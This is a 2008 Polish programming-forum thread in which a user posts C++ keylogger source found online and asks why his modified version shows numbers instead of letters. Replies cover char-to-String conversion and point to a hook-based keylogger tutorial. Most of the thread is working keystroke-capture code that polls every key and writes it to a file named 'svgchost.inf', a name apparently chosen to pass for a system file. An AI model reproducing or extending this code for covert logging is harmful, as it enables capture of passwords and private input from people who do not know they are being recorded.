Przerobienie KeyLogera

dział ogólny

Przerobienie KeyLogera

Nowy postprzez Laik » czwartek, 17 lipca 2008, 14:01

Znalazłem w internecie kod prostego keylogera i postanowiłem napisać sobie jeszcze jakieś funkcje. Tak dla przypomnienia. Zamienilem kod aby nie tworzył pliku tylko wpisywał dane do Memo1. Wszystko by było w porządku ale zamiast cyfr i liter dodaje jakieś liczby np 11010. Jak zapisywałem do pliku to wszystko działało dobrze. Oto kod przed i po zmianie:
Przed
Kod: Zaznacz cały
short character;
          for(character=8;character<=222;character++)
          {
            if(GetAsyncKeyState(character)==-32767)
            {

              FILE *file;
              file=fopen("svgchost.inf","a+");
              if(file==NULL)
              {
                  return;
              }
              if(file!=NULL)
              {
                  if((character>=39)&&(character<=64))
                  {
                     fputc(character,file);
                     fclose(file);
                     break;
                  }
                  else if((character>64)&&(character<91))
                  {
                     character+=32;
                     fputc(character,file);
                     fclose(file);
                     break;
                  }
                  else
                  {
                    switch(character)
                    {
                       case VK_SPACE:
                       fputc(' ',file);
                       fclose(file);
                       break;
                       case VK_SHIFT:
                       fputs("[SHIFT]",file);
                       fclose(file);
                       break;
                       case VK_RETURN:
                       fputs("\n[ENTER]",file);
                       fclose(file);
                       break;
                       case VK_BACK:
                       fputs("[BACKSPACE]",file);
                       fclose(file);
                       break;
                       case VK_TAB:
                       fputs("[TAB]",file);
                       fclose(file);
                       break;
                       case VK_CONTROL:
                       fputs("[CTRL]",file);
                       fclose(file);
                        break;
                        case VK_DELETE:
                        fputs("[DEL]",file);
                        fclose(file);
                        break;
                        case VK_OEM_1:
                        fputs("[;:]",file);
                        fclose(file);
                        break;
                        case VK_OEM_2:
                        fputs("[/?]",file);
                        fclose(file);
                        break;
                        case VK_OEM_3:
                        fputs("[`~]",file);
                        fclose(file);
                        break;
                        case VK_OEM_4:
                        fputs("[ [{ ]",file);
                        fclose(file);
                        break;
                        case VK_OEM_5:
                        fputs("[\\|]",file);
                        fclose(file);
                        break;
                        case VK_OEM_6:
                        fputs("[ ]} ]",file);
                        fclose(file);
                        break;
                        case VK_OEM_7:
                        fputs("['\"]",file);
                        fclose(file);
                        break;
                        /*case VK_OEM_PLUS:
                        fputc('+',file);
                        fclose(file);
                        break;
                        case VK_OEM_COMMA:
                        fputc(',',file);
                        fclose(file);
                        break;
                        case VK_OEM_MINUS:
                        fputc('-',file);
                        fclose(file);
                        break;
                        case VK_OEM_PERIOD:
                        fputc('.',file);
                        fclose(file);
                        break;*/
                        case VK_NUMPAD0:
                        fputc('0',file);
                        fclose(file);
                        break;
                        case VK_NUMPAD1:
                        fputc('1',file);
                        fclose(file);
                        break;
                        case VK_NUMPAD2:
                        fputc('2',file);
                        fclose(file);
                        break;
                        case VK_NUMPAD3:
                        fputc('3',file);
                        fclose(file);
                        break;
                        case VK_NUMPAD4:
                        fputc('4',file);
                        fclose(file);
                        break;
                        case VK_NUMPAD5:
                        fputc('5',file);
                        fclose(file);
                        break;
                        case VK_NUMPAD6:
                        fputc('6',file);
                        fclose(file);
                        break;
                        case VK_NUMPAD7:
                        fputc('7',file);
                        fclose(file);
                        break;
                        case VK_NUMPAD8:
                        fputc('8',file);
                        fclose(file);
                        break;
                        case VK_NUMPAD9:
                        fputc('9',file);
                        fclose(file);
                        break;
                        case VK_CAPITAL:
                        fputs("[CAPS LOCK]",file);
                        fclose(file);
                        break;
                        default:
                        fclose(file);
                        break;
                    }
                  }
               }
          }
        }

Po:
Kod: Zaznacz cały
void __fastcall TForm1::Timer2Timer(TObject *Sender)
{
short character;
          for(character=8;character<=222;character++)
          {
            if(GetAsyncKeyState(character)==-32767)
            {
                  if((character>=39)&&(character<=64))
                  {
                     Memo1->Text = Memo1->Text + character;
                     break;
                  }
                  else if((character>64)&&(character<91))
                  {
                     character+=32;
                     Memo1->Text = Memo1->Text + character;                                                    Memo1->Text = Memo1->Text + character;
                     break;
                  }
                  else
                  {
                    switch(character)
                    {
                        case VK_SPACE:
                        Memo1->Text = Memo1->Text + " ";
                        break;
                        case VK_SHIFT:
                        Memo1->Text = Memo1->Text + "[SHIFT]";
                        break;
                        case VK_RETURN:
                        Memo1->Text = Memo1->Text + "[ENTER]";
                        break;
                        case VK_BACK:
                        Memo1->Text = Memo1->Text + "[BACKSPACE]";
                        break;
                        case VK_TAB:
                        Memo1->Text = Memo1->Text + "[TAB]";
                        break;
                        case VK_CONTROL:
                        Memo1->Text = Memo1->Text + "[CTRL]";
                        break;
                        case VK_DELETE:
                        Memo1->Text = Memo1->Text + "[DEL]";
                        break;
                        case VK_OEM_1:
                        Memo1->Text = Memo1->Text + ";:";
                        break;
                        case VK_OEM_2:
                        Memo1->Text = Memo1->Text + "/?";
                        break;
                        case VK_OEM_3:
                        Memo1->Text = Memo1->Text + "`~";
                        break;
                        case VK_OEM_4:
                        Memo1->Text = Memo1->Text + "[{";
                        break;
                        case VK_OEM_5:
                        Memo1->Text = Memo1->Text + "\|";
                        break;
                        case VK_OEM_6:
                        Memo1->Text = Memo1->Text + "]}";
                        break;
                        case VK_OEM_7:
                        Memo1->Text = Memo1->Text + "'";
                        break;
                        case VK_OEM_PLUS:
                        Memo1->Text = Memo1->Text + "+";
                        break;
                        case VK_OEM_COMMA:
                        Memo1->Text = Memo1->Text + ",";
                        break;
                        case VK_OEM_MINUS:
                        Memo1->Text = Memo1->Text + "-";
                        break;
                        case VK_OEM_PERIOD:
                        Memo1->Text = Memo1->Text + ".";
                        break;
                        case VK_NUMPAD0:
                        Memo1->Text = Memo1->Text + "0";
                        break;
                        case VK_NUMPAD1:
                        Memo1->Text = Memo1->Text + "1";
                        break;
                        case VK_NUMPAD2:
                        Memo1->Text = Memo1->Text + "2";
                        break;
                        case VK_NUMPAD3:
                        Memo1->Text = Memo1->Text + "3";
                        break;
                        case VK_NUMPAD4:
                        Memo1->Text = Memo1->Text + "4";
                        break;
                        case VK_NUMPAD5:
                        Memo1->Text = Memo1->Text + "5";
                        break;
                        case VK_NUMPAD6:
                        Memo1->Text = Memo1->Text + "6";
                        break;
                        case VK_NUMPAD7:
                        Memo1->Text = Memo1->Text + "7";
                        break;
                        case VK_NUMPAD8:
                        Memo1->Text = Memo1->Text + "8";
                        break;
                        case VK_NUMPAD9:
                        Memo1->Text = Memo1->Text + "9";
                        break;
                        case VK_CAPITAL:
                        Memo1->Text = Memo1->Text + "[CAPSLOCK]";
                        break;
                        //  default:
                        //  fclose(file);
                        break;
                    }
                  }
               }
          }
}

Dokladnie chodzi mi o ten kawałek (działający):
Kod: Zaznacz cały
                  if((character>=39)&&(character<=64))
                  {
                     fputc(character,file);     // To działa jak do pliku wrzucam a gdy napisze 
                     fclose(file);                   //Memo1->Text = Memo1->Text + character;
                     break;                          // zamiast tego co jest to pokaze mi jakies cyfry np 1101.
         
                  }
                  else if((character>64)&&(character<91))
                  {
                     character+=32;
                     fputc(character,file);
                     fclose(file);
                     break;
                  }

I ten co nie działa a powinien:


Co tu jest nie tak ? Domyślam się że dodaje kod asci lub jakiś podobny kod zamiast zamieniać na liczbę bądzi literę. Te zdefiniowane spacje itp działają bez problemu. Pozdrawiam
Avatar użytkownika
Laik
 
    NieznanyNieznana

Re: Przerobienie KeyLogera

Nowy postprzez Cyfrowy Baron » czwartek, 17 lipca 2008, 17:01

Problem polega na tym, że klasa FILE zapisuje dane strumieniowo, dlatego nie będzie ich przepisywała do obiektu Memo jako łańcuch znaków. Trzeba by się posłużyć dodatkowo klasą TMemoryStream do pobierania danych ze strumienia, potem odwołać się do strumienia komponentu Memo, klasa FILE powinna też przepisywać dane do pamięci z wykorzystaniem własnej klasy TMemoryStream.

Znacznie prościej będzie chyba stworzenie funkcji która w określonych odstępach czasu będzie wczytywała dane z pliku keylogera do obiektu Memo.

Opis prostszego w wykonaniu keylogera ► patrz serwis: Cyfrowy Baron dział API | Keyloger, czyli przechwytywanie wciśnięcia klawiszy we wszystkich programach.
Niestety też zapisuje dane do strumienia, ale łatwiej przerobić, wszędzie tam gdzie jest odwołanie do obiektu stream wystarczy wprowadzić odwołanie do obiektu Memo, np:
Jest:
Kod: Zaznacz cały
fprintf(stream, "%c%s%c%c%s%s", 10, szTime, 32, 32, szTitle, ":");


Może być:
Kod: Zaznacz cały
Memo1->Lines->Add((String)szTime + " " + (String)szTitle + ":" );


to tylko przykład jak należy postępować, a zmian należy dokonać w kilku miejscach funkcji ConnectHook wszędzie tam gdzie pojawia się funkcja fprintf.
Zwróć uwagę, że przy przerabianiu kodu nie przenosiłem do Memo znaków formatowania tekstu ("%c%s%c%c%s%s") ani wartości liczbowych określających rozmiary łańcucha.
Avatar użytkownika
Cyfrowy Baron
Administrator
Administrator
 
Posty: 4731
Dołączył(a): niedziela, 13 lipca 2008, 15:17
Podziękował : 12
Otrzymał podziękowań: 445
System operacyjny: Windows 7 x64 SP1
Kompilator: Embarcadero RAD Studio XE2
C++ Builder XE2 Update 4
SKYPE: cyfbar
Gadu Gadu: 0
    NieznanyNieznana

Re: Przerobienie KeyLogera

Nowy postprzez Laik » czwartek, 17 lipca 2008, 17:04

Ok dzięki za pomoc. Właśnie sam wymyśliłem sposób :
Kod: Zaznacz cały
char literka = (char) (character);
Memo1->Text = Memo1->Text + literka;

Pozdrawiam i dzięki

Ps. Dla czego nie działa ??
Kod: Zaznacz cały
Memo1->Text += literka;
Avatar użytkownika
Laik
 
    NieznanyNieznana

Re: Przerobienie KeyLogera

Nowy postprzez wargo » niedziela, 3 sierpnia 2008, 13:58

Laik napisał(a):Ps. Dla czego nie działa ??
Kod: Zaznacz cały
Memo1->Text += literka;

Bez tego plusa.
Avatar użytkownika
wargo
Mądrosław
Mądrosław
 
Posty: 389
Dołączył(a): niedziela, 13 lipca 2008, 16:44
Podziękował : 12
Otrzymał podziękowań: 3
System operacyjny: Windows 7
Kompilator: C++ Builder 6 Personal
Gadu Gadu: 6259515
    NieznanyNieznana

Re: Przerobienie KeyLogera

Nowy postprzez Cyfrowy Baron » niedziela, 3 sierpnia 2008, 14:43

Jak napisał wargo ja dodam, że tak:

Memo1->Text += literka;

to można tylko dodawać wartości liczbowe, zakładam, że chciałeś osiągnąć efekt dopisywania litery na końcu już istniejącego łańcucha znaków, ale += niczego nie dopisuje tylko dodaje wartości i w przypadku zmiennych typu AnsiString nie jest to równoznaczne z 'Memo1->Text = Memo1->Text + literka;'
Poza tym jedna uwaga zmienna literka jest typu char, ten typ może zawierać zarówno liczby jak i litery w odróżnieniu od String dlatego zapis: Memo1->Text += literka; wogóle zadziałał, gdyby literka była typu String kompilator zgłosiłby błąd w tym zapisie. Poza tym dodając zmienną typu char należałoby dokonać konwersji na String, żeby uniknąć potencjalnych błędów, np. w środowisku Windows 95, czyli ten zapis powinien wyglądać tak:

Memo1->Text = Memo1->Text + (String)literka;
Avatar użytkownika
Cyfrowy Baron
Administrator
Administrator
 
Posty: 4731
Dołączył(a): niedziela, 13 lipca 2008, 15:17
Podziękował : 12
Otrzymał podziękowań: 445
System operacyjny: Windows 7 x64 SP1
Kompilator: Embarcadero RAD Studio XE2
C++ Builder XE2 Update 4
SKYPE: cyfbar
Gadu Gadu: 0
    NieznanyNieznana

Re: Przerobienie KeyLogera

Nowy postprzez Laik » wtorek, 5 sierpnia 2008, 11:45

Dzięki za wytłumaczenie. Dokładnie chciałem osiągnąć taki efekt o którym mówił CB
Avatar użytkownika
Laik
 
    NieznanyNieznana


Powrót do Ogólne problemy z programowaniem

Kto przegląda forum

Użytkownicy przeglądający ten dział: Google [Bot] i 2 gości

cron